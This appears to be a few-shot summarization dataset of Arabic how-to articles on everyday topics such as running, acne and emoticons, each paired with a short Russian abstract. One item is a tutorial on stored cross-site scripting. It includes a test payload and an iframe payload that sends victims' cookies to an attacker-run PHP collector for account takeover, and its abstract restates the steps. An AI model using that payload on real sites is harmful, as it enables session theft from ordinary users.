يحتاج لمجهود بدني شاق. الإطالات من وضع السكون مثل: حركة الفراشة وبعض أوضاع اليوجا, ركّز على كل عضلة في وضعيات السكون والثبات، يساعدك هذا على فك وإراحة العضلات التي تعرضت لضغط كبير أثناء الركض. إن كنت تركض ليلًا، اركض في مناطق ذات إضاءة جيدة. حاول ألا تتوقف كثيرًا إن أمكن، سواء كان الوقوف بغرض عقد رباط الحذاء أو التحدث مع أحد الأشخاص. ليكن أحد ذويك على علم بمكان ركضك وموعد عودتك.   إن كنت تركض نهارًا، احذر من السيارات والدراجات والمشاة. كن على وعيٍ تام بما حولك. استعد لتغيير المسار في أي وقت، فلن تتمكن من مجاراة حركة السيارات...

Now, please write a short abstract for it in Russian. Abstract:

Если вы чувствуете, что готовы сегодня пробежаться километр-другой, не откладывайте это дело. На первых порах не заботьтесь об экипировке. Перед пробежкой делайте разминку, а после пробежки — упражнения для растяжки мышц. Изучите окрестности.


First, read the Arabic article below.

مهما كانت مهنة المعلم مهنة نبيلة وتحلى بدوره بالعدالة الشديدة في تقييم الاختبارات والمهام الطلابية، لن يمنع ذلك احتمالية الوقوع في الأخطاء، فالمعلم أو الأستاذ الجامعي بشر في النهاية. يُحتمل أن يكون هناك خطأ ما في نموذج الإجابات أو أن الأستاذ لم يستوعب جيدًا طريقة حلك أو البحث الذي قمت بتقديمه أو أنه كان مستيقظًا لأيام متواصلة أثناء التصحيح أو جمع الدرجات. طالما أنك غير راضٍ عن درجتك الحالية، فأنت بحاجة أولًا إلى اكتشاف أسبابها ومعرفة هل أخطأت في أمر ما أثناء الحل أم أنه يوجد خطأ ما في عملية منح الدرجات نفسها.  راجع إجاباتك مع زملائك والطلاب في المراحل العمرية الأكبر أو عبر الإنترنت أو من خلال أي من المصادر الأخرى المتاحة. إذا كان تعليق الأستاذ أو الدرجة التي منحها لإجابة معينة لا تبدو منطقية فربما أنه أخطأ في القراءة أو أساء تفسير أمر ما في إجابتك. ضع في اعتبارك أن تكون المشكلة في أسلوب كتابتك غير الواضح كذلك وأن الخطأ لا يقع بالضرورة على كاهل الأستاذ. إذا كنت لا تفهم لماذا تم اعتبار إجابة معينة على أنها خطأ أو التصحيح الذي كتبه الأستاذ فقد يكون الحل الأمثل هو عرض الأمر على الأستاذ مباشرة والاستفسار عما لا تفهمه. قد لا تسمح قوانين المدرسة أو الصف الدراسي أو قواعد الأستاذ نفسه بأي تغيير في الدرجة، لكن لا ضرر أبدًا من التواصل والاستفهام بسلوك جيد من أستاذك عن سبب نقص درجتك في اختبار ما، وهو ما قد يمهد لك تعاون الأستاذ وتقبله لمنحك درجات أفضل في نفس الاختبار أو اقتراح وسائل مساعدة لزيادة درجاتك. في العديد من البلاد أو وفقًا لقوانين المؤسسة التعليمية التابع لها، قد تُفرَض قوانين تمنع نهائيًا أي مناقشة بين الأستاذ والطلاب حول درجات الاختبارات عبر البريد الإلكتروني. لن يكون التواصل والأخذ والرد مريحًا على أي حال عبر الرسائل الإلكترونية، لذا اسعَ لتحديد موعد لمقابلة أستاذك وجهًا لوجه ومناقشة الأمر.   جرب التحدث إلى أستاذك بعد انتهاء الحصة الدراسية أو المحاضرة الجامعية. يمكنك أن تقول بأدب شديد: "د. سعيد: رجاءً أنا أستغرب الدرجة التي حصلت عليها في الاختبار الأخير. هل يمكن أن أقابل حضرتك لمناقشة الأمر بتفصيل أكثر؟" لاحظ أن العديد من الأساتذة سيطلبون منك الانتظار ما لا يقل عن 24 ساعة بعد الحصول على درجة لمناقشتها معهم. هذا يشجع الطلاب على مراجعة المواد بعناية في ذلك الوقت وليس مجرد الاندفاع دون تفكير أو التحرك بعدوانية...

Now, please write a short abstract for it in Russian. Abstract:

Проверьте точность конкретной оценки. Договоритесь о встрече. Приготовьтесь предоставить письменные аргументы. Ведите себя вежливо и серьезно. Попросите преподавателя объяснить свои замечания. Подчеркните свое желание совершенствоваться.


First, read the Arabic article below.

مهما كنت تهتم بأظافرك فقد تصاب بالعدوى رغم ذلك، وعندها تظهر خطوط حمراء عبر إصبعك وقدمك أو رجلك، كما قد تصب بالحمى بدرجة 38 سلزيوس أو أكثر. يعد الصديد السميك أو النزح الأبيض أو الملون من مكان الإصابة علامة أخرى للعدوى. زر الطبيب إذا ظهرت أي من تلك العلامات، لأن العدوى قد تكون خطيرة.  سيصف لك الطبيب مضادات حيوية لمقاومة العدوى، والتي يجب تعاطيها حسب تعليمات الطبيب حتى تشفى. زر الطبيب إذا كان الألم شديدًا بدرجة تؤثر على نومك وأنشطتك اليومية أو لم يتحسن بعد ساعتين من أخذ المسكن أو ساء أكثر مع مرور الوقت. إذا زاد التورم ولم يتحسن مع الدواء فضع الثلج وارفع قدمك واطلب المساعدة.  وجه الأسئلة مثل: "لقد زاد الألم في إصبعي اليوم أكثر من البارحة ولم يجدِ دواء التيلينول نفعًا، هل هذا طبيعي؟" أو" ما هو الحد الطبيعي للتورم؟" أحيانًا تتسبب إصابة الظفر وكسره، كسقوط شيء ثقيل عليه، في ورم دموي تحت الظفر أي نزيف. يسبب ذلك جيبًا من الدم تحت الظفر يعطي ألمًا بسبب الضغط، ويبدو ذلك ككدمة زرقاء داكنة أو سوداء أو أرجوانية أشبه بالبقعة تحت الظفر. إذا كانت الكدمة أصغر من ربع حجم الظفر فغالبًا ما تعالج من تلقاء نفسها، وفيما عدا ذلك يجب زيارة الطبيب لأنك قد تحتاج لتفريغ السائل أسفل الظفر لمنع المزيد من الألم والإصابات. لا تحاول فعل ذلك بمفردك أو لغيرك، بل زر الطبيب.  يُحدث الطبيب ثقبًا صغيرًا جدًا بالظفر لتفريغ الدم، ولا يسبب ذلك الألم بل يشعرك تفريغ الدم بالراحة للتخلص من الضغط. يعتمد النمو الطبيعي من جديد للظفر على سلامة أرضيته/ الطبقة الداخلية للظفر. إذا كنت قلقًا من المظهر المحتمل لظفرك بعد النمو فتحدث للطبيب لإجراء جراحة صغيرة بأرضية الظفر. إذا لاحظت تلفًا واضحًا بالأنسجة حول الظفر فقد لا ينمو مجددًا أو قد يبدو مختلف الشكل إلا أن بعض تلك المشاكل قابل للعلاج.  قد يستغرق النمو الكامل للظفر من جديد حوالي 6-12 شهر. إذا استغرقت 15 دقيقة أو أكثر في محاولة فرك وتنظيف الإصابة وما زلت ترى الوسخ والحطام، فاطلب المساعدة الطبية. من المهم تنظيف الإصابة بشكل كامل لمنع العدوى، فإذا لم تستطع التنظيف بنفسك اطلب المساعدة من غيرك.  قد تحتاج لتطعيم ضد مرض الكُزاز "التيتانيوس" على حسب مدى الإصابة بظفرك. إذا كان الجرح متسخًا ومر على آخر تطعيم لك حوالي 5 سنوات أو أكثر، فستحتاج لأخذه من جديد، أما إذا مر على آخر تطعيم 10 سنوات أو أكثر (على الرغم من كون الجرح...

Now, please write a short abstract for it in Russian. Abstract:

При признаках инфекции обратитесь за медицинской помощью. Посетите врача в случае усиливающейся боли, покраснения или отека. Посетите врача, если ноготь почернел или стал синим. Обратитесь к врачу, если вокруг сломанного ногтя видны признаки повреждений. Обратитесь за помощью в том случае, если вы не в состоянии очистить рану. Если палец не двигается или выглядит необычным образом, пройдите рентгеновское исследование.


First, read the Arabic article below.

مواد الرتينويد عبارة عن علاجات موضعية مشتقة من فيتامين A. تمنع هذه المواد انسداد بصيلات الشعر لتقليل حدوث حبّ الشباب. استخدم منتجات الرتينويد على فروة الرأس في المساء. ابدأ باستخدام الرتينويد 3 مرات كل أسبوع، وزد مرّات الاستخدام تدريجيًا حتى تصل إلى مرحلة الاستخدام اليومي مع تعوّد البشرة على الدواء. الدابسون (Aczone) عبارة عن جل موضعي يساعد على علاج حبّ الشباب عن طريق قتل البكتيريا والحفاظ على نظافة مسام الجلد وعدم انسدادها. يتم جمع هذا المستحضر عادة مع علاج رتينويد موضعي للحصول على أقصى فعالية  من العلاجين. تتضمّن الأعراض الجانبية المحتملة جفاف البشرة واحمرارها/تحسّسها. بالنسبة لحالات حبّ الشباب الأشد، قد يكون استخدام المضادات الحيوية الموضعية ضروريًا للمساعدة على علاج الحالة الحالية ومنع ظهور إصابة مستقبلية. تُستخدم المضادات الحيوية عادة مع مادة benzoyl peroxide لتقليل احتمالية ظهور بكتيريا مقاومة للمضادات الحيوية على الجلد، ويمكن أيضًا استخدامها مع مواد الرتينويد للحصول على أقصى فعالية. تتضمّن مجموعات المضادات الحيوية الموصوفة عادة لعلاج حبّ الشباب clindamycin مع benzoyl peroxide (Benzaclin, Duac) و erythromycin مع benzoyl peroxide (Benzamycin). يمكن أن توصف المضادات الحيوية الفموية لحالات حبّ الشباب المتوسّطة والشديدة لتخفيف انتشار البكتيريا في الجسم مما قد يؤدي إلى حب الشباب. يمكن أن تساعد المضادات الحيوية أيضًا على تخفيف الالتهاب الحادث بسبب حبّ الشباب. أكثر المضادات الحيوية شيوعًا لعلاج حبّ الشباب هي tetracyclines، بما في ذلك minocycline و doxycycline. تجد بعض النساء والفتيات اللاتي تعانين من إصابات متكرّرة بحبّ الشباب أن استخدام مضادات الحمل الفموية تساعد على علاج حبّ الشباب. تجمع هذه الأدوية بين مادتي إستروجين و بروجيستيرون لإيصال مادتيّ منع الحمل إلى الجسم.  هناك 3 علاجات فموية لمنع الحمل في الولايات المتحدة الأمريكية حاليًا: Ortho Tri-Cyclen و Estrostep و Yaz.  تتضمّن الأعراض الجانبية الشائعة الصداع، وتيبّس الصدر، والغثيان، واكتساب الوزن، والنزيف المتكرر، ويختبر البعض أعراضًا جانبية أكثر خطورة كزيادة خطر تجلّط الدم. تحدّثي مع طبيبك لمعرفة ما إن كانت موانع الحمل الفموية مناسبة لحالتك. قد يصف الطبيب مضادات الأندروجين  مثل spironolactone (Aldactone) للنساء والفتيات اللاتي لم تنجح معهنّ المضادات...

Now, please write a short abstract for it in Russian. Abstract:

Ретиноиды. «Дапсон». Антибиотики для местного применения. Пероральные антибиотики. Комбинированные оральные контрацептивы. Разузнайте об антиандрогенных веществах.


First, read the Arabic article below.

مواقع تبادل الآراء بالمنشورات هي أفضل مثال. تذكر أنه لو كان هذا الموقع محميّ جيّدًا، فلن تعمل هذه الطريقة. ستحتاج لكتابة بعض الأكواد الخاصة (الشيفرات البرمجية) في منشورك هذا، مما سيسمح لك بالحصول على معلومات كل شخص يضغط عليه. يجب أن تختبر فيما إذا كان الموقع يقوم بتصفية المنشورات المحتوية على أكواد برمجية. اكتب <script>window.alert(“test”)</script> في حال ظهرت لك رسالة تحذيرية عندما تضغط على نشر، فالموقع يمكن اختراقه بهذه الطريقة. الهدف من إجراء هذا الهجوم هو الحصول على الكوكيز الخاصة بالمستخدم (أي سجل نشاطاته على الانترنت) مما يخولك بالوصول إلى حسابه الخاص بالموقع الذي يعاني من ثغرات تسجيل الدخول. ستحتاج إلى برنامج الحصول على الكوكيز، الذي سيقوم بجلب الكوكيز الخاصة بالضحية ثم تغيير وجهتها لتصل إليك. قم برفع البرنامج إلى موقع لديك صلاحيات بالدخول إليه ويدعم php. اكتب الكود المناسب في المنشور والذي سيقوم بدوره بجمع الكوكيز وإرسالهم إلى موقعك. ستودّ أن تضيف بعضًا من النّص بعد الكود من أجل أن تبعد الغموض عنك وتحفظ منشورك من أن يتم حذفه. مثال على الكود <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> بعد ذلك، يمكنك استخدام معلومات الكوكيز، والتي يجب أن يتم حفظها في موقعك، لأي غرض تريده.

Now, please write a short abstract for it in Russian. Abstract:

Найдите уязвимый сайт, на котором можно размещать контент. Перейдите к созданию поста. Создайте и загрузите свой php-скрипт, который будет получать данные. Опубликуйте JavaScript-код. Использование полученных куки.


First, read the Arabic article below.

ناقش واظهر مشكلة حب الشباب الخاصة بك لطبيب جلدية واعمل معه على تصميم خطة علاج مخصصة لك. العديد من العلاجات الموضعية المناسبة لحب الشباب الخاص بك (الكريمات، اللوشن، الجل، إلخ.) متاحة عبر طبيب أمراض جلدية. هذه العلاجات قد تتضمن:  المضادات الحيوية الموضعية التي يمكن أن تقوم بوضعها على المناطق المصابة لديك للمساعدة على الحكم في البكتيريا المسببة لحب الشباب لديك. الريتينويد الموضعي، المصنوع من فيتامين أ ويساعد على فتح المسام المسدودة، ويمكن أن يساعد المضاد الحيوي أيضًا على العمل بشكل أكثر فعالية. المضادات الحيوية الفموية (على هيئة أقراص) متوافرة أيضًا لدى طبيب الأمراض الجلدية لمشاكل حب الشباب، إذا اعتبر طبيب الأمراض الجلدية الخاص بك أنها مناسبة لك. قد تشبه هذه المضادات الحيوية تلك التي تأخذها عندما تعاني من أي نوع آخر من العدوى، مثل عدوى المثانة. ستساعد في قتل البكتيريا التي تسبب حب الشباب لديك. قد يفكّر بعض الأطباء في وصف موانع الحمل الفموية (أقراص منع الحمل) للنساء الصغار اللاتي يعانين من مشاكل حب الشباب. قد تساعد بعض جرعات منع الحمل القليلة، التي تحتوي على مزيج من هرمونات الاستروجين والبروجستين، على التحكّم في تقليل كمية حب الشباب على بشرتك. في الغالب سمعت الناس يخبرونك ألا تقوم بفقع بثورك (وهذا صحيح) -- لكن هذا لا يعني أنه لا يمكن للطبيب أن يفعل ذلك بالنيابة عنك! تفريغ البثور طبيًا هي طريقة آمنة لتنظيف المسام المصابة بدون خطر الإصابة المتزايد بتخليف ندوب مثلما يحدث عندما تفقع بثورك بنفسك. بما أن التفريغ الطبي يركّز على نوع معين من البثور، ستحتاج إلى العودة إلى الطبيب مجددًا إذا عانيت من ظهور آخر للبثور. المنتجعات التي تقدّم خدمات العناية بالوجه خاصًة لإزالة حب الشباب قد تقدّم أيضًا تفريغ البثور، وهذا الخيار أفضل من فعل ذلك بنفسك بالتأكيد. لكن قد تحتاج إلى أن تسأل أخصائي التجميل عن نوع المنتجات التي يستخدمها على بشرتك أثناء علاج الوجه لتتأكد أنها لن تسد مسامك مجددًا! يجب أن يتم التقشير الكيميائي بواسطة متخصص مُدرّب. سيستخدم هذا المتخصص محلول عالي التركيز من مادة مثل حمض الساليسيليك أو حمض الجليكوليك أو حمض ثلاثي كلور الخليك (TCA) لإزالة الطبقة الخارجية لبشرة وجهك (أو أي مكان آخر في جسمك تعاني فيه من مشاكل). إزالة هذه الطبقاء من البشرة يساعد على التخلص من الزيوت الزائدة وخلايا البشرة الميتة لمساعدة مسامك على...

Now, please write a short abstract for it in Russian. Abstract:

Посоветуйтесь с дерматологом насчет средств для местного применения. Узнайте у дерматолога насчет антибиотиков для перорального приема. Узнайте об экстракции угрей. Подумайте о возможности химического пилинга. Сделайте инъекцию кортизона. Узнайте о световой терапии. Обсудите с дерматологом возможность перорального приема ретиноидов.


First, read the Arabic article below.

نتف الشعر عادة ما يكون نتيجة لعملية رفضك لتقبل حقيقة المشاعر السلبية أو غير المريحة التي تمر بها.  استخدم أساليب الاسترخاء العقلي لمساعدتك على أن تكون أكثر تقبلًا لهذه المشاعر، بوصفها جزء طبيعي من التجربة الإنسانية. لا يجب بالضرورة أن يتم تجاهلها. عندما تخف حدة الرغبة الملحة لتجنب المشاعر السلبية، فإن حافز نتف الشعر سوف يقل بدوره.  من أجل القيام بتمارين تصفية الذهن، اجلس في مكان هادئ ومريح وخذ أنفاس عميقة؛ ابدأ بالشهيق لمدة أربع عدات ثم أمسك أنفاسك لمدة أربع عدات ثم أخرج الهواء في الزفير لمدة أربع عدات. مع استمرارك في التنفس بهذا الأسلوب، سوف تهيم أفكارك بداخل عقلك. قم بالاعتراف بهذه الأفكار، بدون إصدار أي أحكام خاصة بها، ثم اجعلها تنصرف بهدوء. أعد تركيزك دومًا إلى عملية التنفس نفسها. يعاني العديد من الأفراد المتأثرين بهذا الاضطراب كذلك من انخفاض احترام الذات وضعف الثقة في النفس. من أجل بناء قدرتك على تقبل نفسك وشعورك بالثقة، عليك أن تستخدم أسلوب علاج التقبل والمسؤولية، وهو نهج علاجي وطبي سوف يساعدك على بلورة قيمك الشخصية، والتركيز على أهداف حياتك. بناء الثقة في النفس أحد الأمور بالغة الأهمية من أجل التعافي من هذا الاضطراب. تذكر أنك شخص رائع ومميز. أنت جدير بالحب وحياتك لا تقدر بثمن؛ لا يهم أيًا كان ما يخبرك به الآخرون، فعليك أن تشعر بالحب تجاه نفسك. الأفكار السلبية عن نفسك قادرة على تفريغ شعورك بالثقة في نفسك بسرعة هائلة، وقد تحفزك للقيام بعملية نتف الشعر. ملاحظات انتقاد النفس، والخوف من الفشل، وأساليب التفكير السلبية الأخرى تجعلك تشعر كما لو أنك غير جيد بشكل كافي. ابدأ العمل على تغيير هذه العادات العقلية من أجل بدء بناء وزيادة ثقتك في نفسك. فيما يلي بعض الأمثلة عن كيفية البدء في تغيير طريقة تفكيرك في نفسك:   لنفترض أنك لديك فكرة، مثل: "أنا لا أجد أي شيء مثير للانتباه يمكنني قوله، لذلك أنا أفهم السبب الذي يجعل الآخرون يعتبرونني مثيرًا للشفقة." عليك أن تمسك بهذه النوعية من الأفكار غير الطيبة وتبذل مجهودًا واعيًا بهدف تغييرها عن طريق التصحيح الدائم لنفسك. أخبر نفسك: "في بعض الأحيان لا أجد ما يمكنني قوله، وهذا أمر طبيعي. أنا لست مضطرًا أن أكون وسيلة امتاع للآخرين بما أقوله، أو تحمل مسئولية المحادثة بشكل كامل." اهتمي باستبدال الأفكار الانتقادية بالأفكار الإيجابية والإنتاجية. فيما يلي مثال للأفكار الانتقادية: "لا...

Now, please write a short abstract for it in Russian. Abstract:

Живите настоящим моментом. Развивайте чувство собственного достоинства и повышайте самооценку. Замените негативные мысли на положительные. Запишите свои достижения и сильные стороны. Работайте вместе с другими людьми, общайтесь напористо.


First, read the Arabic article below.

نجد أيضًا من أنواع المشاريب الكحولية الساخنة أنواع بطعم الشاي. ابدأ بعمل الخليط بغلي 240 ملليلتر من الماء ووضع ربع ملعقة صغيرة من الزنجبيل المطحون وثلاثة قرنفلات كاملة وعود قرفة وظرفي شاي أخضر أو أحمر واتركها تغلي لخمس دقائق ثم أخرج أكياس الشاي من السائل.   أعد تسخين الشاي لمدة دقيقة في الميكروويف ثم أضف عليه بعد ذلك عدد 2 ملعقة كبيرة من العسل وملعقة كبيرة أخرى من عصير الليمون. صب من 30 إلى 60 ملليلتر من الويسكي على الكوب وقلب كل شيء بملعقة وتناول الخليط دافئًا. هناك خليط لذيذ وساخن من الشاي العشبي مع الخمر يساعد على علاج أعراض البرد. تناول عبوة من الشاي العشبي بطعم التوت على 180 ملليلتر من المياه المغلية في مدة من دقيقتين إلى ثلاثة. أزل بعدها عبوة الشاي وضع 45 ملليلتر من الخمر الأبيض ونصف ملعقة كبيرة من عصير الليمون وملعقة صغيرة من العسل. قلب كل هذا الخليط معًا مزينًا إياه بعصير الليمون (او قشر الليمون). يعرف شاي الويسكي بأنه مشروب لذيذ يحتوي على الشاي العادي مع قليل من الويسكي. للبدء في إعداده قم بخلط 16 قرنفلة مطحونة مع ملعقة زنجبيل صغيرة وثمانية أعواد من الهيل (بدون البذور)، عليهم 20 حبة من الفلفل الأسود المطحون وحزمة جوز طيب وعودي قرفة مطحونين. قم بوضع لتر من اللبن كامل الدسم على نار هادئة وقلب في قدر متوسطة مع التوابل ودع الكونات تمتزج لعشر دقائق.   قم بتصفية المخلوط بعد عشر دقائق ثم أعده إلى القدر. قلب الخليط في 89 ملليلتر من الويكسي. تفضل الآن وتناول شاي الويسكي الساخن.

Now, please write a short abstract for it in Russian. Abstract:

Заварите горячий чай. Приготовьте ягодный ромовый чай. Попробуйте чай с молоком, специями и виски.


First, read the Arabic article below.

نحن لا نستبدل الأدوية الحديثة أو الراحة التامة بشرب الكحول لعلاج البرد، فشربه كثيرًا يمكن أن يتسبب في تدمير كبدك على المدى الطويل، بل ومن الممكن أن يتسبب في زيادة أعراض البرد كالاحتقان والتهاب الحلق وأكثر من ذلك. نستعمل فقط مثل تلك الأدوية الطبيعية من حين لآخر. يتسبب شرب الكثير من الكحول بإضعاف الجهاز المناعي وبالتالي سهولة إصابة الشخص بالأمراض. يضعف أيضًا جهازك المناعي عندما تكون مريضًا، وبالتالي فشرب الكحول أثناء المرض من المحتمل أن يصعّب رحلتك للشفاء. يجب أن تزود جسمك بالكمية الكافية له من المياه طوال الوقت عند المرض من خلال شرب الكثير من السوائل، حيث تساعدك على تحسين حالة التهاب الحلق والاحتقان. هناك بعض السوائل كالكحول والكافيين تتسبب في الجفاف وبالتالي تسوء من حالة التهاب الحلق والاحتقان وحتى الكحة، فلابد من تعويض ما يفقده جسمك من السوائل إذا استخدمت الكحول لعلاج البرد. تتداخل بعض الأدوية المستخدمة في علاج البرد بشكل سلبي مع الكحول، فيمكن أن يتسبب تناولها مع الكحول بالدوخة والنعاس وحتى الإغماء والصداع النصفي والغثيان والتقيؤ. تحقق من نشرة الدواء وتأكد من تناوله قبل شرب أي كحوليات وتحقق من قسم التحذيرات في النشرة الدوائية جيدًا. إليك عدة أدوية شائعة للبرد لا يجب أن يتزامن تناولها مع الكحول:   الأسبرين الأسيتامينوفين (تايلينول) الإيبروبروفين (مورتين وأدفيل) نابروكسين (أليف) أدوية شراب لتهدئة السعال (روبيتوسين كوف، روبيتوسين إيه – سي) أزيثروميسين (أزوماكس وزيثيروماكس) يمكن للإصابة بالبرد أن تثير من أزمة الربو عند مرضى الربو، فقد وجدت دراسة أن هنالك بعض المكونات في الكحول من شانها أن تزيد من حالة الجهاز التنفسي سوءًا. حاول استخدام علاجات برد شائعة أخرى لا تحتوي على الكحول لضمانة سلامتك كليةً.  يستخدم الإيثانول النقي كاستثناء كأحد العلاجات المستخدمة لعلاج الربو.

Now, please write a short abstract for it in Russian. Abstract:

Пейте в разумных количествах. Имейте в виду, что алкоголь может ослабить иммунную систему. Помните о том, что алкоголь может вызвать обезвоживание. Проверьте совместимость лекарства с алкоголем. Не употребляйте алкогольные напитки для лечения простуды, если у вас бронхиальная астма.


First, read the Arabic article below.

ندبات الشعر الجديدة غالبًا ما يكون لها شكل محمر والذي يرجع سببه إلى الالتهاب. يمكن أن تقلل كريمات الكورتيزون من احمرار ندبة الشعر الجديدة عن طريق تقليل الالتهاب. تستطيع شراء كريمات الكورتيزون بدون وصفة طبية.  تأكد من قراءة واتباع تعليمات العبوة عند الاستخدام. ارجع إلى طبيب الأمراض الجلدية إذا كنت غير متأكد من الكمية أو عدد المرات التي يجب اتباعها. لا تستخدم كريم الكورتيزون على الجلد المتشقق أو المجروح. تأكد من أن الشعر المنغرز قد شفى تمامًا قبل استخدام كريم الكورتيزون. ينمو الشعر تحت الجلد في أغلب الأحيان بسبب الحلاقة. تأكد من استخدام المواد المزلّقة عند الحلاقة. يُشار إلى هذه الندبات باسم "مطبات الحلاقة". يمكن أن تتسبب ندوب الشعر المنغرز في ظهور ندبة داكنة اللون والتي تساعد كريمات التفتيح في تقليل غمقانها. تحدث إلى طبيبك قبل البدء في استخدام كريم تفتيح واشترِ فقط الكريمات التي تحتوي على عوامل تفتيح طبيعية. تجنب المنتجات التي تحتوي على الهيدروكينون لأن هذه المنتجات لها تأثير مسرطن ويمكن أيضًا أن تتسبب التهيج لبشرتك. ابحث عن كريم تفتيح يحتوي على أحد المكونات التالية:  حمض الكوجيك (يشتق من الفطر) الأربوتين (يشار إليه أحيانًا بمستخلص توت العليق) فيتامين (ج) يؤدي حك الندوب (أو شد الشعر المنغرز) إلى التهيج والعدوى وزيادة خطر حدوث الندبات الدائمة. لتقليل هذه المخاطر، لا تفقع الندبات أو تشد الشعر المنغرز، بل اتركه يشفى من تلقاء نفسه. إذا كنت منزعجًا من مظهر الندبات أو مظهر الشعر المنغرز تحت الجلد، حدد موعدًا لرؤية طبيب الأمراض الجلدية. راجع أيضًا هذا المقال عن كيفية إزالة الشعر من تحت الجلد. إن التعرض للشمس أكثر من اللازم قد يتسبب في ظهور ندوب أكثر قتامة ويمكن أن يؤدي أيضًا إلى إبطاء عملية الشفاء، لذلك حاول ألا تقضي الكثير من الوقت في الشمس. إذا كان لابد أن تكون بالخارج، احمِ بشرتك باستخدام كريم واقِ من الشمس بمعامل حماية 30 وارتداء قبعة واسعة الحواف. تكون أشعة الشمس قوية ما بين الساعة 10 صباحًا و4 مساءً. حاول عدم الخروج خلال هذه الساعات.

Now, please write a short abstract for it in Russian. Abstract:

Нанесите крем с кортизоном на красные шрамы, вызванные вросшими волосами. Попробуйте натуральный осветляющий крем. Не трогайте шрамы и вросшие волосы. Не находитесь долго на солнце и всегда наносите солнцезащитный крем.


First, read the Arabic article below.

نشأت الإمونتيكونات الشرقية في جنوب شرق آسيا، وتكتب مواجهة للأمام بعكس الطريقة الأفقية التي تكتب بها الرموز الانفعالية الغربية. يركز هنا أكثر على العيون، والتي ستستخدم للتعبير عن العاطفة.   تستخدم كثير من الرموز الانفعالية الشرقية حروفًا غير لاتينية. يعطي هذا للكاتب عددًا أكبر من التصميمات التي يمكن أن يصنع، ولكن قد لا تستطيع بعض الحواسيب إظهار كل الحروف بطريقة صحيحة. تحاط كثير من الرموز الانفعالية الشرقية ب( ) والذي يوضح الحد الخارجي للرأس أو الجسد، ولكن يرجع إليك أمر إضافتها. تكون بعض الرموز الانفعالية أفضل بها أو من دونها. يوجد في نظامي "ويندوز" و"أو إس إكس" خرائط حروف (عارض الحروف في "أو إس إكس") تمَكنك من البحث خلال كل الخطوط الموجودة على النظام لتجد الحروف المطلوبة. استخدم هذا لإيجاد الحروف التي ستصنع بها رموزك الانفعالية، ولكن تذكر أن الشخص الآخر لن يستطيع رؤية هذه الحروف إلا إذا كان نفس الخط موجودًا على نظامه.    ويندوز: اضغط على ⊞ Win+R واكتب charmap لفتح خريطة الحروف. استخدم القائمة الموجودة بالأعلى للانتقال بين الخطوط. ابحث عن خط اسمه "Code2000" (كود 2000) وحمله لتستطيع الوصول لكل الرموز الشرقية تقريبًا. اضغط هنا للحصول على معلومات عن كيفية تثبيت الخطوط.   ماك: اضغط على قائمة آبل (التفاحة) واختر "إعدادات النظام". اضغط على "لوحة المفاتيح" واختر تبويب "لوحة المفاتيح" وعلم على "أظهر لوحة المفاتيح وعارض الحروف في شريط القائمة". اضغط على الأيقونة الجديدة التي ستظهر جنب الساعة واختر "أظهر عارض الحروف". يأتي "أو إس إكس" بكل الخطوط التي ستحتاج لصناعة معظم الرموز الانفعالية الشرقية.      الشخصية/الشيء    الرمز الانفعالي    الشرطي الآلي    ([(    انسان آلي    [:]    الفأر ميكي    °o°    بابا نويل  :-)    هومر سيمسون    ~(_8(I)    مارج سيمسون    @@@@@:^)    بارت سيمسون    ∑:-)    وردة    @>-->--    سمكة    <*)))-    البابا    +<:-)    ليني    ( ͡° ͜ʖ ͡°)    متزلج على اللوح    o[-<]:    سهم    <------K    سيف    1=<========[===]    العم سام    1==):-)    ويلما فلنستون    &:-)    كلب    :o3     *يمكن كتابة الرموز الانفعالية الشرقية بعلامة( ) والتي تمثل الوجه أو من دونها.

Now, please write a short abstract for it in Russian. Abstract:

Знайте, как вводить восточные смайлики.  Подумайте о том, чтобы включить в смайлик тело.  Используйте таблицу символов, чтобы найти символ.


First, read the Arabic article below.

نصف القطر هو القطر مقسومًا على اثنين، لذا استخدم المعادلة r=D/2 وهي مطابقة للطريقة المتبعة لحساب نصف قطر الدائرة من قطرها.  جد نصف قطر كرة قطرها 16 سم بقسمة 16/2 للحصول على 8 سم، وإذا كان القطر 42 سم فنصف القطر هو 21. استخدم المعادلة  C/2π لأن المحيط يساوي πD والذي يساوي 2πr. ستعطيك قسمة المحيط على 2π نصف القطر.  إذا كانت لديك كرة محيطها 20 سم فجد نصف القطر بقسمة 20/2π = 3.183 m . استخدم المعادلة نفسها للتحويل بين نصف القطر ومحيط الدائرة. استخدم المعادلة ((V/π)(3/4))1/3.  يشتق حجم الكرة من المعادلة V = (4/3)πr3، وسيعطيك حل المعادلة للحصول على متغير r ((V/π)(3/4))1/3 = r ما يعني أن نصف قطر الكرة يساوي حجمها مقسومًا على ط مضروبًا في 3/4 وجميعها مرفوعة للأس 1/3 (أو الجذر التكعيبي).  جد نصف القطر كما يلي إذا كانت لديك كرة حجمها 254 سم3:  ((V/π)(3/4))1/3 = r ((254/π)(3/4))1/3 = r ((80.85)(3/4))1/3 = r (60.6)1/3 = r  3.9 cm = r استخدم المعادلة  r = √(A/(4π)). تشتق مساحة سطح الكرة من المعادلة A = 4πr2. يعطينا حل المعادلة لإيجاد قيمة المتغير r √(A/(4π)) = r ما يعني أن نصف قطر الكرة يساوي الجذر التربيعي لمساحة السطح مقسومًا على 4 ط، كما يمكنك أخذ الأس 1/2 للجزء (A/(4π)) للحصول على نفس النتيجة.  إذا كانت لديك كرة مساحة سطحها 1200 سم2 فجد نصف القطر كما يلي:  √(A/(4π)) = r √(1200/(4π)) = r √(300/(π)) = r √(95.49) = r  9.77 cm = r

Now, please write a short abstract for it in Russian. Abstract:

Вычислите радиус по диаметру. Вычислите радиус по длине окружности. Вычислите радиус по объему шара. Вычислите радиус по площади поверхности.


First, read the Arabic article below.

